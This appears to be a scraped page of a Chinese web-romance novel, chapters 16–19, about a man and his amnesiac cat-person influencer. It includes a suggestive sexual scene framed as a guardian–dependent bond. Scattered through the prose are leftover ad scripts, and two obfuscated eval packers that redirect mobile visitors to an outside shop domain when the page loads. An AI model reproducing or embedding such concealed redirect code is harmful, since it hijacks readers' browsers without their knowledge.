同样也是一位猫系动物人,耳朵上的花纹带了点橘色,眼瞳是金色的,只比祁宴矮一些,身形凹凸有致,穿着和祁宴同款的修身西装外套,领口大开,露出饱满又漂亮的身材。 两人大概是一起合作拍摄短片广告来推广产品,要肩膀靠着肩膀、脸对脸地贴在一起,视频里个子高挑的俊男美女,看着十分亲密。 林染:“……哇。” 好像很郎才女貌的样子。原来出差的工作是在拍这些东西。 林染一点也没落下地把这个几十秒的视频反复看了五六遍,没想到在第六遍的时候,视频竟然显示被删掉了。就在刚刚。 刚要点开聊天软件,回复祁宴之前发过来的一大串消息,就看到手机弹出来一个视频电话。 林染猝不及防,不小心点了同意,立即拿上耳机离开工位跑去茶水间。 祁宴:“喂?” 林染慢吞吞地戴上耳机:“干嘛突然打视频电话过来,我在上班。” “因为你不回我消息。”祁宴披着羽绒服,里面是那套领口大到刺眼的西装,似乎是在休息室里吃东西,脸鼓起来,但不知道什么原因,嘴角绷得紧紧的。“为什么不理我。” “说了,工作。”林染言简意赅。 “那你也到午休时间了。” “加班。” 六个字,把 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 电话那头的祁宴堵得死死的。一时间说不出话来。 两小时前,祁宴在广告导演的要求下,和一名刚认识的女模特以一个非常奇怪姿势拍了一个镜头。 但出于工作要求,再加上林染千叮咛万嘱咐不许给合作伙伴摆臭脸,祁宴忍耐着继续工作。 结果同行的助理直接把原定好要出的拍摄日常素材,直接发给了工作室运营,那边粗糙地剪辑了半小时,登录祁宴账号的密码,把视频发了出去。 祁宴看到的时候视频已经发布了几分钟,二话不说沉着脸把视频删了。 祁宴从来不过问工作室的任何安排,有什么工作发到他头上就立马完成。这还是头一回连招呼都不打一声就删视频。合着平时不出声,一来就整个大的。 虽然这个视频不属于这次工作的要求,但工作室发视频的目的也是为了预热。以及,这位新人模特是慈星的小艺人,多少沾点内部资源关系。 现在工作室的群里,柳芳在询问情况,但是祁宴一点都不想理会,自己制造的烂摊子随便扔下不管,转头打电话给林染。 “你看到了吗?” “看到什么。” 祁宴的语气顿了顿,有点紧张:“我今天发的拍摄日常。” “喔。”林染语气没什么起伏,“那个啊,怎么删了,拍得挺好的,男帅女靓,就是评论区底下很多小姑娘在哭,不希望你找女朋友,你的号是不是不应该发这种视频,万一脱粉……” 果然看到了。 祁宴只能听到最前面的话,烦躁地“啧”了一声:“拍得哪里好了,你有没有品味啊?” “?”在认真提建议的林染被带偏,挑起眉,疑惑,“干嘛?” “什么干嘛。” “生什么气。” “没生气。”祁宴口是心非,语气很冲地说,“我下午还有拍摄,先挂了。” 说完,屏幕一晃,似乎就要这样挂掉视频电话。 又是这样,猫咪脾气上来真是磨人。林染并不打算给他独自一人生闷气的机会,声音平静地喊住他。 “祁宴。” 电话那头听到林染严肃起来的声音,沉默半天,才不情不愿开口:“做什么?要骂我?” “你不找骂我会骂你么?”林染说,“你知道这个语气是在找架吵吧?怎么了?为什么删视频,又为什么生气。删视频的时候有经过柳姐同意吗?” 毫无缓冲,劈头盖脸几句话,句句都说在重点上。 祁宴抿抿嘴唇,看着屏幕上那双漂亮的眼睛。 但是看得到,摸不着。 这人还要夸他和别的女人贴在一起的视频拍得好。 非常烦躁,非常恼火。祁宴委屈地想。 林染一定是世界上最无情的主人。 另一边的林染正眯着眼等祁宴说话,对他复杂的心理活动一概不知,想着这个臭猫要是狗嘴里吐不出象牙,一定要狠狠骂他一顿。 “装什么哑巴,说话。” “……” 几秒后,视频里刚才不知道在生什么气的猫咪,突然把自己的帅脸凑到镜头前。 绿色的眼睛通过并不清晰的视频聊天,专注地看着林染。 “林染,我想你了。” 林染瞬间破功:“咳咳……不许想。” “我就想。”祁宴听到他下意识的话,气得不行,“你不来陪我我想想都不行吗?你真的太讨厌了。” 已经不知道多少次被一句话堵住满肚子的训斥和责备,祁宴好像熟知林染的弱点,一犯事就狡猾地装可怜,也不知道在哪里学坏的。 刚才还满脸都是不耐烦,像是浑身长满了刺,见人就扎,短短十几秒就变了脸,还知道倒打一耙。 当初没让他去当演员,真是屈才。 但林染又不甘心地承认,自己是真的很吃这一套。 “想想想……你想就是了。” 于是,在收到柳芳的消息后,林染思索片刻,还是忍痛买下了前往祁宴所在城市的机票。 “你给我等着。” 自家猫惹的烂摊子,当然是由他这个可怜的主人收拾。林染无奈。 17. 爆火的烦恼 天边扬起一抹琥珀色的残阳,赶到广告片场时已经接近傍晚,林染十分不解,为什么一支不到一分钟的广告需要拍摄这么长的时间。 然而到达战场时才发现,原来出岔子的不止他们家的猫。 片场位于市中心某座著名的影视拍摄基地,道路宽敞,许多其他拍摄组的大巴中巴错落停放着。 夜风中,助理站在路边接林染,看到一辆计程车上下来一道纤细的身影,立即迎上去:“你终于来了!” “抱歉抱歉,祁宴给你们添麻烦了。”林染一路赶来,连家都没来得及回,就带了个上班的包,直接从s市飞过来。此刻一副疲惫打工人的模样,面色窘迫。 “希望你们多担待一下,他就是这个脾气,我现在立刻去找他麻烦……” “不不不,现在不是祁宴的问题,还好视频删的快。”助理焦急地说,“祁宴那边柳姐已经了解情况,但是现在是模特那边……” “什么?” 林染愣住了,怎么才几个小时口风就变了。 删视频反倒成了一件好事? “这个推广广告的艺术总监是模特的姐姐,是我们公司的高层,也是她和柳姐协商好把苗苗推过来和祁宴合作。” 助力语速很快,尽量说重点。 “你懂我意思吗?这个苗苗是想蹭一波祁宴的人气出道,我们工作室都协商好了。” “……所以?” 林染消化这段话半天,有点迷茫。他步入职场几年时间,对一些难以琢磨的人际关系也算初有心得,但还是头一回见识到网红圈的复杂。 什么姐姐妹妹,什么高层,什么合作…… 难不成是得罪了关系户? 林染有点难以置信。可不就是删掉了一个拍摄视频吗? “和祁宴同款的衣服,是我们内部同意过的,两人合作时动作亲密,也是提前和导演打过招呼。”助理着急又无奈地说,“今天那个拍摄日常我不应该发给工作室,因为那个视频,现在祁宴的粉丝群都在闹意见,甚至已经扒出来苗苗是苗羽的妹妹了。” …… …… “……什么?”这还是人类的语言吗? 于是,就在助理妹妹把林染带进此刻鸡飞狗跳的片场前,林染从她嘴里大概了解了这短短一天发生的事。 这个推广视频的拍摄是祁宴火了之后的第一支广告,由一个化妆品品牌投放,而品牌方那边则另外又委托了一家广告公司,负责拍摄制作。 柳芳为了让祁宴的拍摄效果更好,想提前和广告导演打好关系,特地联系了慈星高层的艺术总监苗羽,帮忙牵线搭桥,于是为了回报苗羽,同意苗羽手下的新人模特苗苗进入这个项目,和祁宴合作拍摄。 总而言之,各取所需,互惠互利。 但柳芳错误估量了祁宴的人气,在完全无意识地拍下了导演要求两人合作的细节,并把这些内容粗糙地剪辑并发布到了视频平台。 仅仅几分钟的时间,导致祁宴的粉丝看到并产生抗议情绪,虽然视频很快被删掉,但两人某些表现得太过亲密的画面,已经被粉丝截图下来,传遍评论区。 换句话说,祁宴的粉丝生气了,开始对苗苗进行攻击。 林染:“……” 进入片场,拍摄已经结束,但工作人员都没能撤退下班,所有人都被迫在这里待命。此刻现场有四拨团队的人。 有广告制作方、品牌的商务团队、柳芳工作室的人,以及慈星的高层艺术总监苗羽。 林染一眼就看到柳芳和苗羽两位个子高挑、衣着优雅的职场女性,在人群的包围中说着什么,似乎极力遏制情绪。 而导演组的人已经十分不耐烦,坐在地上抽烟。 机器设备还没收回,灯光开着,大喇喇地横放在路中央,表明今天的拍摄工作仍未结束。 就算什么都不知道,也清楚此刻是个恐怖的修罗场。 林染钻进人群,寻找祁宴的位置,突然眼睛一亮,快步跑到某个裹着羽绒服垂头玩手机的人身边,用力地拍了拍祁宴的肩膀,笑着看到猫咪抬起来他那张……格外难看的冷脸。 林染:“?” “拍他妈……” 祁宴像是被打扰了什么要紧事,眯着眼猛地抬头,却在看到林染后,嘴里的脏话戛然而止。 林染站在他面前,露出了一副震惊的表情。 其实无论助理怎么告诉他现在工作出现的问题和情况,林染并不太能感同身受,反正他从头到尾只捕捉到一个有效信息,那就是祁宴其实并没有给他们捅娄子。 反倒是他们自己的工作出现了很大的问题。 但是当林染听到祁宴嘴里没能说完的脏话,他觉得十分大事不妙。 他们家一直很乖的蠢猫,只不过离开自己一天,就在鱼龙混杂的人类社会,学会了该死的脏话! “你说什么?”林染瞪大眼睛,异常生气,刚要揪住祁宴的猫耳朵,就看到面前这位前一秒还写着生人勿近的凶猫,瞬间柔和了眉眼,满脸惊喜地伸开双手,朝他抱过来。 “你怎么……” 林染恶狠狠地拍掉他的爪子:“再说一遍。” 祁宴根本没躲,高大的身体跟一堵墙似的站在原地让林染拍,等他拍完后又毫不犹豫地伸开双手,将人紧紧抱住。 热热闹闹的片场里,这个没什么人注意到的角落,一只离开主人半天的猫,终于在十多个小时后,见到了他想念的人。 但还是挨打了。 “别揪了。”祁宴感觉到耳朵抽痛,不满地抱怨,“干嘛啊你,抱一下都不让,干什么揪我耳朵!” “我让你再讲一遍刚才没说完的脏话!” “我不要。”祁宴理直气壮,“那不是说给你听的。” “那是说给谁……谁都不行!你有没有礼貌!”林染努力从祁宴香得太过离谱的怀抱里挣脱,“你喷什么东西了这么熏人,臭死了。” 祁宴趁机在林染肩窝里蹭了蹭,语气黏糊糊:“化妆师姐姐给我喷的,她说这样显得更帅。帅吗?” 天杀的,我们家单纯的笨猫在外面都学了什么乱七八糟的东西! 林染此刻非常后悔,昨晚上在机场送别祁宴的时候忍着没跟过去。果然孩子第一次出远门要跟在后面看着,否则就会出现这种情况。 林染刚要给祁宴训话,就看到柳芳和苗羽那边似乎已经协商好了,叫摄像紧急改脚本,全部删除祁宴和苗苗亲密动作的镜头,接下来的一个小时加急补拍广告素材。 于是主人和猫咪的“亲密”交流被中断,林染瞪着眼睛目送祁宴去工作,一边督促他好好工作,一边拉着助理坐在离监视器不远的角落里,试探地问了问现在的情况。 果然,得到的回应是,苗羽那边仍然不放弃自己妹妹和祁宴的合作,但同意删掉那些擦边的亲密镜头。 “早该这样了。”林染悻悻地说,“她这样苗苗出道后肯定要被骂,祁宴也不是什么百万粉的大博主,为什么这么执着?” 助理摇摇头:“你不知道,祁宴涨粉的速度太夸张,当初刚和这个品牌方对接的时候才三万粉,但今天视频发布前已经超过十万。” “……”这就是顶级大帅哥的速度吗?好、好离谱。 “按照这个速度,咱们内部预计到下下个月祁宴的账号能破五十万粉丝,这还是没买粉的数据。昨晚上破十万的时候,我们对外的报价已经全部改了。”助理有点苦恼又高兴,“咱们这种颜值博主的赛道和别的网络红人都不一样,祁宴长得贵气,自带提高产品逼格的属性,所以他的人设就得端着、高冷,账号里那些自拍和视频,都是迎合‘互联网男友’这个称呼设计的,吸到的粉丝几乎都是对他有很强占有欲的粉丝,不论男女。” “所以,他们不能接受祁宴谈恋爱,或者有对象……也不能接受他和别人 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 亲密。”林染总结。 “没错。总而言之,这次是咱们判断失误,下回不会再有这样的情况了,祁宴表哥你放心吧。”助理一副他很聪明的模样,笑着说,“你弟弟很棒,这么多人喜欢他,你应该也很为他高兴吧!” 林染听到这些他有些听不大懂的专业术语,后知后觉地意识到,祁宴确实火了。火的速度连自己工作室都预料不到,慈星高层的艺术总监为了妹妹,甚至愿意去蹭他这位未来之星的热度。 好现实的成人世界。 “哈哈,特别高兴。” 一边笑着和助理聊天,一边看着镜头灯光前努力工作的祁宴。猫咪穿上了昂贵的设计款服装,做了造型还化了妆,明明是第一次拍摄,气场却强得像已经做这行做了十多年。游刃有余到令人吃惊。 林染第一次对这样的祁宴感到陌生。 好像他天生属于镜头。 真神奇。这是半年前林染在家楼下垃圾桶捡到那只伤痕累累的豹猫时,从未想过的画面。 他没有想过,随便救助的猫原来是动物人。也没有想过,这个动物人居然当上了网红,还在短短的一个月里大火,吸引来无数喜欢他的人。 那只属于林染一个人的猫咪,成了很多很多人的钦慕喜欢的对象。 * 回到祁宴入住的酒店,已经快十二点。 几小时前拍摄结束后,为了犒劳一直被困在拍摄片场的导演团队,柳芳主动出钱,请全组吃饭。并在饭桌上和苗羽握手言和,举着酒杯聊尽人生酸甜苦辣。 这就是传说中的职场女强人。 捅了娄子后第一件事就是想办法弥补、解决,哪怕中途因为摩擦产生了矛盾,事后仍要一副笑吟吟的模样在众人面前和解。 柳芳能力出众,她懂进退知分寸,既说得了狠话,又放得下面子,这也是她进入慈星旗下新媒体公司仅仅三年,就拿下两个年度最佳业绩的原因。 饭局到最后,这位喝了两瓶白酒的女人脸色一点儿都没变,还精神奕奕地安排车辆,让所有工作人员顺利回到酒店。 林染看在眼里,回到酒店后,忍不住和祁宴夸奖他的经纪人,却招来笨猫的抱怨。 “你夸她干嘛?她还要我和别的女人贴在一起,烦死了。我今天呢?表现得不好吗?” 林染没带任何能在外过夜的生活用品,只能将就着蹭祁宴的东西。但是要洗澡的时候犯了愁。 他没有内库可以换。 “你表现什么?”林染冷笑一声,“你这是瞎猫碰上死耗子,不过还好你删了视频,否则柳芳今天也没办法把事情解决的那么顺利。人家同意苗苗蹭你的热度,也是因为找了她姐姐艺术总监帮忙,让你的第一支广告拍得更漂亮。” “我不瞎。”祁宴不高兴地抗议。“我眼神很好。而且我也没有见到死老鼠。” 林染:“……”没文化的笨猫。 林染不想继续和他掰扯,在祁宴行李箱翻找了半天,想了想,还是和猫咪说一声比较好。 “那个。”林染忍着害臊,声音很轻地说,“我没带内库,你借我一条。” 祁宴愣了愣。 “你穿我的不会大吗。” “放屁,哪里大了!”林染恼羞成怒,“你别人身攻击。” 祁宴在床上翻了翻,似乎不大理解林染为什么会生气:“我比你大块,腰比你粗那么多,你这么瘦,肯定穿着宽松。” “……”喔,原来是这个意思。林染为自己想太多而脸红。 刚要从他亲手帮猫咪把内库装进去的袋子里拿出一条去洗澡,就感觉身后有人走过来,猛地扑到林染背上。 滚烫的气息瞬间把他裹住,祁宴的脸从林染肩上越过,凑到他脸侧,声音很低。 “睡觉穿什么内库,别穿了。” 林染的手抖了抖。 蠢猫知道自己在说什么吗?好有歧义的一句话! 18. 第一次辅导 “你有什么毛病。”林染的脸往边上躲了躲,有点不自在,“你在家也穿啊,干嘛不让我穿。” “我也不喜欢。”祁宴的声音又紧跟在他躲开的耳边,黏人地凑过来,“要不是你非要我穿,我才不穿。” 祁宴的贴身衣物都是林染在超市里大促销时抢的,一开始变成人的时候,笨猫不喜欢睡觉的时候还穿着衣服,于是好几天早上醒来,林染都能感觉到身边紧紧贴着的结实身体,背着他在不知道什么时候扒掉了自己身上的布料。 因为这件事,林染甚至板起脸严肃地教训过猫咪,祁宴虽然不耐烦,也在他的反复强调下,至少穿上了内库。 猫变成人了就这点不好,跟养儿子似的,什么都得教,林染甚至还得找时间给祁宴做x相关的科普,但他脸皮薄,一直没好意思说。 只能在网上搜搜相关的内容,保存下来以备不时之需。 “别蹭了,我要洗澡了。”避开这个尴尬的话题,林染起身向浴室走去,又被人抓住手腕拽回来。 林染被迫镶进猫咪带着香水味的怀里,恍惚地想,祁宴怎么变得比之前还黏人了。 “我告诉你一件事。” “什么事……诶呀,别蹭……” “我早上起来的时候,会勒得疼。”祁宴低下头看他,语气有那么点不易察觉的委屈,“要怎么办?” “……”林染瞬间仿佛被雷击中,尴尬得脚趾扣地,脸上也逐渐泛起红晕。 从祁宴一张嘴林染就觉得他没憋好屁,果然。他就知道,不管怎么逃避,总是得面对这些事,孩子这么高这么大,外面的社会复杂又多变,做正常的科普保护自己天经地义。 林染在心底给自己加油打气,刚张了张嘴。 “你能不能帮我看看。” “看……看什么?”林染思绪跑偏,没反应过来他话里的意思。 “为什么会勒。” 林染刚给自己做好心里建设,就被祁宴的话惊到猛地抽气,想跑,却被牢牢抓住。一只大手就着两人紧紧相拥的姿势探过来,带着林染的手,往祁宴的小腹碰去。 完全没有前摇,令人始料不及。 “等一下……” 慌乱之中的林染,头脑一片空白,连缩回手的想法都忘掉了。 这是在干嘛? 酒店房间里的灯光不算明亮,两人不知道什么时候坐在床边,林染被祁宴抱在怀里,被迫面对面地说话。 林染比起祁宴的身高和体格显得十分瘦弱,腿屈起来,脸贴脸坐在祁宴身上。紧紧相拥。 祁宴一眨不眨地盯着近在咫尺的林染,看到他茫然无措的双眼,和泛红发烫的脸颊、耳垂,不着痕迹地弯了弯嘴唇。 他从在片场看到林染的时候就想这么做了。铲屎官眼中只有他一个人模样实在顺眼,让祁宴很是高兴。 林染猛地抽回手,但人已经彻底麻了。 事情怎么会变成这个样子?怎么说着说着话,就…… 林染满脑子要给祁宴做科普的正经话,却被祁宴不正经地引导他碰到了奇怪的地方,此刻已经完全忘记自己作为一名合格的监护人,应该说什么。 他甚至已经没办法组织语言,只能被动地被猫咪破坏掉作为主人的权威。 祁宴抱住林染,发现这具身体的僵硬和滚烫,声音很低又很耐心。 “你发现了吧。”祁宴把脑袋压在林染耳边,几乎都要变成气声,“我不知道为什么现在也勒,能不能告诉我要怎么办。” 林染:“……” 好想死。 告诉什么,告诉你这是正常的现象吗? 林染深呼吸:“你等它自己消下去就好了……” “可是不舒服。” 祁宴就像是突然从成年人变成了一个等着让林染给他穿衣服的三岁小孩,失去了任何思考能力,一遍又一遍地问林染。 好勒,疼,要怎么办。 林染无地自容,又被迫要和祁宴面对面,不敢对视,窘迫到连自己叫什么都忘了,无路可走,情急之下口不择言道:“那你……你自己去浴室里,缓解一下。” “为什么要去浴室,你不可以帮我吗。”祁宴的呼吸有一瞬间停下来,似乎是错觉,他很快就凑到林染耳边,啄了啄他的耳根,“你帮帮我。” 林染猛地捂住自己的耳朵,看着祁宴。他刚刚在干嘛? 臭猫是不是亲他了!这个小混蛋,怎么趁机占便宜。 林染脑袋十分混乱。为什么自己一副方寸大乱的模样,而说出这样恬不知耻要求的祁宴,反倒脸色平静,连语气都没什么特殊的起伏。 实在很不公平。林染咬咬牙。 “我不帮。” “可是好疼。” 祁宴的绿眼睛里溢出水光,蕴涵着困扰和迷茫,再一次紧紧抓住林染的手,把自己毛茸茸的脑袋搭在林染肩上,十分依赖地蹭。就像从前做猫一样:“林染,求你了。” 犯规。 太犯规了。 林染的脸红到不成样子,实在是难以面对这样的场景,可心底总有一个声音,告诉自己。 祁宴是自己的猫咪,他失忆了,现在什么都不会,作为合格的主人,得教他。 怎么教呢?林染觉得自己应该清醒一点,可一时半会又找不到拒绝的理由。 这种事难道不是无师自通吗?早知道早点给臭猫发科普了,也不至于到今天会尴尬成这样。 想了很久,林染终于开口。 “……就教一次。”最后,林染憋着气,小声说。 …… 这场突如其来的辅导,林染被迫教了很久,可祁宴仍旧始终不想下课。 林染不算什么很好的老师,但划重点却十分在行。 臭猫轻轻咬住他的耳朵,唇舌间溢出点点细微的声音,在安静到只能听到暖气运作的房间里显得格外突兀。 “别叫!” 林染皱着脸,另一只手还能抽空伸出去,不轻不重地拍了拍猫咪发抖的脊背。 随后就感觉一股热气扑面而来,身前的人亲了他脸颊一口,湿漉漉的。 林染发现自己对猫咪的纵容已经再一次突破底线,他几乎是有点自暴自弃,忍无可忍地咬在祁宴肩上。 “快点啊。笨猫。”林染用鼻音在祁宴耳边说,声音有点哑,似乎是有点困倦,“手好酸的,我困了。” “……” 十分钟后,终于结束了这场辅导,某些气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13980610|148106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 氛还未彻底散去,忍了很久的林染,在祁宴还没反应过来的时候,立即从他身上爬起来,跳下床。 直接翻脸不认人。 头也不回地钻进浴室,还没忘了拿走要换洗的内库。 “你……” “别说话,你今晚不许说任何一句话!”林染羞恼地把门关上前,自以为很凶地放出狠话,“都怪你,我现在一时半会儿不想看到你的脸,离我远点蠢猫!” 炸毛了,生气了。 “砰”地一声巨响,浴室的门被狠狠摔上,发出震天动地的巨响。 祁宴拽了拽自己被弄得乱七八糟的裤腰,屈起腿,身体放松地挂在床边,听到林染没什么震慑力的骂声,勾起嘴角。 但很快,还在暗自窃喜的祁宴就学会了什么叫自食恶果。 晚上睡觉的时候,林染主动问前台要了一床被子。 祁宴从浴室擦着脑袋出来的时候,谨记林染不让他说话的事,用眼神询问林染怎么回事。 林染根本不搭理他,紧紧抿着嘴唇,红着脸把被子铺在沙发上,随后余光看到祁宴的身影,立即把自己裹进去。 沙发并不大,虽然是一条长沙发,但无论如何容纳一名年轻男人还是会显得拥挤。 就在祁宴心虚地要走过来问到底怎么回事时,林染把脸探出来,微红的脸蛋面无表情说。 “从今天起,我认为我们应该保持距离,当一对普通父子,和谐友爱,积极向上。”林染闷着嗓子,十分后悔自己竟然因为笨猫的恳求而做出这样愚蠢的事,真是猪油蒙了心,“你以后不要碰我,谢谢配合。” “……”祁宴心有点痒,想摸摸他的脸,但是很努力地忍住了,“为什么。” 祁宴觉得自己忍得好辛苦,如果林染知道他脑子里的想法,肯定会吓得转头就跑。 他并不想吓到林染。只能选择忍耐。 林染缩回被子,大声说:“因为你是一只又色又坏的蠢猫,爸爸觉得自己的教育出了问题,很自责,你被养废了,以后……” 话还没说完,祁宴走过去扑在他身上,隔着被子把人抱住。被早就有所准备的林染一脚蹬开,祁宴整个人猝不及防滚在地上。 好凶残。 真的生气了。 祁宴的耳朵紧张竖起,尾巴也晃来晃去,企图撒娇蒙混过关:“林染……” “滚蛋!” 林染看都没看他一眼:“你以后没机会给我卖萌装乖了,你我之间父子情谊已经走到尽头,再过来我就离开这个房间!” “……”祁宴抿着嘴唇,拍了拍自己身上不存在的灰,爬回大床的过程中,三步一回头地去看窝在沙发上的林染。 好凶。 祁宴不甘心地想。 真的很过分吗?可是林染明明答应了教他的,为什么教完又翻脸。 如果以后再也没有第二次,祁宴会觉得很可惜。真的很舒服。 林染的手很小,但是很软很热。林染对他最好,是世界上对祁宴最好的人。 要是还有第二次就好了。 躺在床上,身体不知道为什么莫名燥热的祁宴,开始思索怎么才能哄林染教自己第二次。 得在林染气消之后才可以。 19. 纯洁父子情 第二天七点,林染得赶最早班飞机回s市。 原以为是来收拾猫咪的烂摊子,结果事情一反转,祁宴删视频反而救了他上升期的账号,工作室的人非但不怪他还要感谢他。 烂摊子没了,那么林染就没有别的理由再继续留下来。 再加上两人在酒店晚上厮混的那一小时,林染非常不想面对祁宴,早上五点就顶着黑眼圈和被迫睡沙发的浑身酸痛,在闹钟响之前悄悄爬起来,企图不动声色地离开。 窸窸窣窣的声音响起,林染动作很轻地换好衣服,收拾好自己,冲进洗手间洗漱,并戴上口罩以最快的速度推开洗手间门离开房间时,刚转了个弯,就看到一抹高挑的身影倚在大门门框上,双手抱胸,好整以暇地看着他。 某个在林染一整夜光怪陆离的梦境中出现无数次的猫咪,此刻穿着酒店浴袍,领口敞开,露出一截白皙的胸膛和精致锁骨。 在清晨昏暗灯光下,漂亮得惊人。 更别提他此刻的表情,不仅面颊带粉,连眼尾都染上一抹嫣红,仿佛一朵在初春盛开的桃花。似乎只要林染开口,就会迫不及待地扑过来。 “怎么走这么快,我今天还有工作。” 祁宴以为林染突然过来是良心发现,理所应当地认为林染还会继续陪伴他,而昨晚上的事,是他努力工作后向主人讨到的福利。 因此从昨晚上兴奋到现在。虽然睡前被恼羞成怒的主人踹了一脚,晚上也没能抱着林染睡觉,但早上起来看到他,祁宴的心口就忍不住发烫。 然而刚朝人伸出手,却被狠狠拍掉。 “嘶……”好痛。祁宴愣住了。 林染从没有对他真的动过手。 他眨了眨眼睛,抽回手,摸了摸自己泛红的手背,一时间没反应过来。 “……” 林染沉声道歉,口罩下是没什么表情的脸:“我要回去工作。” “都说了,我可以帮你承担被扣掉的工资,我赚的钱全都给你。”祁宴边看一眼自己手背,边委屈地看着林染。 好痛,林染为什么会打他。难道这件事过去后,两人的关系不会更进一步吗? 祁宴发自内心地疑惑。 他们都那么亲密,还亲到林染的脸了,而且当时的林染看起来也不抵触的样子。 “不需要。” 林染冷着脸,无视祁宴的装模作样,根本不打算再吃这一套。 虽然昨晚上的事,是他在祁宴软磨硬泡下同意,但这不代表他清醒过来后不会生气。 气祁宴破坏了他们纯粹的父子情,也气自己怎么就鬼迷心窍真的帮他做了这种事。 祁宴是一只笨蛋猫咪,他懂什么,他只知道遵从本性求自己让他舒服,而林染难以面对的是,自己居然真的答应了。 猫不懂事他还不懂事吗?疯了真是! 于是在昨晚上翻来覆去睡不着的情况下,林染深刻反思了自己的问题,那就是自己对猫咪根本毫无底线。 他总是看到这张漂亮的脸蛋在自己面前装委屈,就什么都没办法思考了,那么既然这样,不如不见。暂时冷静一下。 林染从他腰侧的开关处伸出手,却在挨到祁宴时被骤然拉住。 “你……” “祁宴。”不打算听他说任何话,林染的语气没有任何起伏,“你最好今天放我走,否则你应该不想知道后果是什么样。” 放狠话放到这个程度,从前两人吵架时也没这么吓人。 让祁宴意识到,林染是真的生气了。 好吧,得听话……林染刚刚说什么,他要回去工作。 皱了皱鼻子,祁宴瞬间泄气,无精打采地放开林染的手,任由他推开自己身后的门。 但是看到林染像是对自己避之不及、十分嫌弃那样,刻意侧过身体,小心翼翼又十分迅速地挤出房门,最后头也不回地离去。祁宴的玻璃心又碎了。 不知道怎么会变成这样,他没有碰见过这样的情况,从前惹林染生气,只要装可怜,心软的主人就会立即气消。 可是为什么这个惯用的法则在今天不生效了? 林染还打他了。 祁宴逐渐反应过来,他一大早起来只是想抱林染,他觉得林染可能睡得不大舒服,可是林染居然想背着他离开,还动手打自己。 “林染,我手肿了,被你打的。” 祁宴的心提起来,期待看到他的反应,却看到林染听到这话后仍然没有回头,径直朝外走,顿时有点气急败坏。 “你做什么不理我。”怨气很重的语气。“是不是真的不要我了啊。” 然而林染还是没有搭理他,并完全无视了祁宴,甚至加快脚步离开。就像祁宴是什么洪水猛兽。 完了。 祁宴破天荒地感觉到慌张,这是他向来自信又傲慢的人生里极为很罕见的。 他害怕因为昨晚上的事让林染对自己生疏,又后悔一时冲动,逼着林染摸了自己。 虽然很爽,可是这件事和失去林染比起来,根本什么都不是。 祁宴不能接受林染不再喜欢他。 要怎么办啊?到底怎么做能让林染消气? 混乱之下,祁宴想追上去,可脚一踏出门槛,猛地发现自己没穿拖鞋。三月份的天气,清晨的温度更是冰凉,一股刺骨的寒意从脚下几乎零度的瓷砖里渗进身体。 从前在家里,只要不穿鞋肯定会被林染念叨。祁宴偶尔被念得不耐烦,却也感觉自己被爱着。 又垂头看了看自己的手背,还红着。林染从来没有下过这么重的手。 祁宴的眼底瞬间涌出阴郁。 他觉得自己贱得慌,林染都不要他了。 祁宴红着眼睛回到房间,坐在林染待过的沙发上,耳朵都耷拉下来。皱着脸把他换下来的衣服拿在手里,轻轻闻了闻,是熟悉又好闻的味道。 让人非常安心的、林染的味道。 可是从前祁宴闻到这个味道只会想喵喵叫,现在却感觉身体控制不住地变化。 祁宴板起脸,撩起宽松的裤腰,露出完美的腰线,不耐烦地看了看。 小腹又开始发热了。 从昨天看到林染的时候就这样,到底怎么回事? * 另一边,和祁宴沮丧的负面情绪不同,林染根本无暇顾及其他,拼命赶红眼航班。昨晚上频频惊起导致他一点都没睡好,有点起晚了,赶在飞机起飞前十几分钟才匆匆登上了飞机。 安静的一个半小时行程里,林染如释重负,回想起早晨和祁宴对峙的那几分钟,随后大脑完全过载,像是根本没办法处理这样的问题,发出了十分烦恼的声音。 还好这趟早班人少,林染隔壁没有乘客。他独自坐在窗边看着外边的蓝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13980611|148106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天白云,愁绪万千。 以后要怎么面对猫咪,好有罪恶感。 祁宴……祁宴难道喜欢男人吗?这么帅的一只猫,怎么会……到底为什么会有反应?又为什么拉着他来缓解。 他的手是断了吗?被谷欠望冲昏头脑的家伙。 林染哀嚎,“臭猫,笨猫……讨厌鬼!” 林染从小到大没有喜欢的人,但这不代表他是个gay,相反他很明确自己的性向,他对男人没有任何兴趣。不仅如此,林染甚至对任何亲密关系都有点无法控制的反感,当初祁宴变成人,他还纠结了好一会儿,之后对猫咪的爱大过生理本能,才对他越发纵容。 但昨晚上那样……真是太离谱了。 一想到手里的温度,和祁宴咬着自己耳朵喘气的声音,林染的脸又瞬间开始发烫。 臭猫发育得还挺好? 啊啊啊啊啊我在想什么,林染别想了! 现在最好能趁事态还没有严重的时候,努力挽救一下。林染崩溃地思索。 或许祁宴根本不知道这种情况意味着什么,或许他只是有点激动,或许…… 反正不能因为这件事玷污他们纯洁的父子情。 下了飞机,林染很快接到柳芳的电话,对面问他怎么不打招呼就走了,林染则用万能的工作忙来搪塞。 “唉,还以为你来了祁宴工作能更有动力。”柳芳开玩笑,“刚才和我们妆发的老师去接祁宴,他好像情绪不太好,眼睛都是红的。” 